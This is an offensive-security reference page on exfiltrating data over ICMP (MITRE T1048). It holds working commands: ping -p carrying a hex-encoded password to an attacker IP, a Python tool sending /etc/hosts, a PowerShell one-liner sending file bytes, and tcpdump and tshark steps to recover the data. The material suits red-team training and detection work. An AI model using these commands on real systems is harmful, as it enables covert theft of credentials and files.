Exfiltration over ICMP

MITRE ATT&CK™ - Exfiltration Over Alternative Protocol - Technique T1048

Theory

The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address (Wikipedia).

ICMP Data Section

At a high level, an ICMP packet consists of multiple fields, including a Data section. This section can contain arbitrary information, such as diagnostic messages, test payloads, or even copied portions of other network packets (e.g., IPv4 headers for error reporting). The following diagram illustrates the Data section, which is optional but can be leveraged for various purposes, including covert communication.

Notably, RFC 792 (which defines ICMP) does not impose any strict requirements on the content of the Data field. This means that any data can be transmitted, as long as the overall structure of the ICMP packet remains valid.

Practice

Linux Target

We can, on linux targets, exfiltrate datas with the -p options of the ping command.

root@victime$ echo 'root:p@ssw0rd!' | xxd -p
726f6f743a7040737377307264210a

root@victime$ ping <ATTACKING_IP> -c 1 -p 726f6f743a7040737377307264210a

On the attacking machine, we can receive the data as follows

# Listen for ping and save to pass.pcap
v4resk@kali$ sudo tcpdump icmp -i <INTERFACE> -w pass.pcap

# Extract data field and Hex decode
v4resk@kali$  tshark -r pass.pcap -Y "icmp" -T fields -e data | xxd -r -p

To facilitate file exfiltration and remove the limit of 16 bytes in the data field using the native ping command, you can alternatively employ ICMP-Data-Exfiltration (python).

# On target
python3 icmp_exfiltration.py -i 127.0.0.1 -m send -f /etc/hosts

# On attacking machine
python3 icmp_exfiltration.py -i wlan0 -m recv -f mydata

Windows Target

On a Windows victime, we may exfiltrate data over ICMP using poweshell

$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path <input_file> -Encoding Byte -ReadCount 1024) { $ping.Send("<ip_address>", 1500, $Data) }

On the attacking machine, we can receive the data as follows

v4resk@kali$ sudo tcpdump icmp -i <INTERFACE> -w pass.pcap
v4resk@kali$ tshark -r pass.pcap -Y "icmp" -T fields -e data | xxd -r -p

Resources

Last updated

Was this helpful?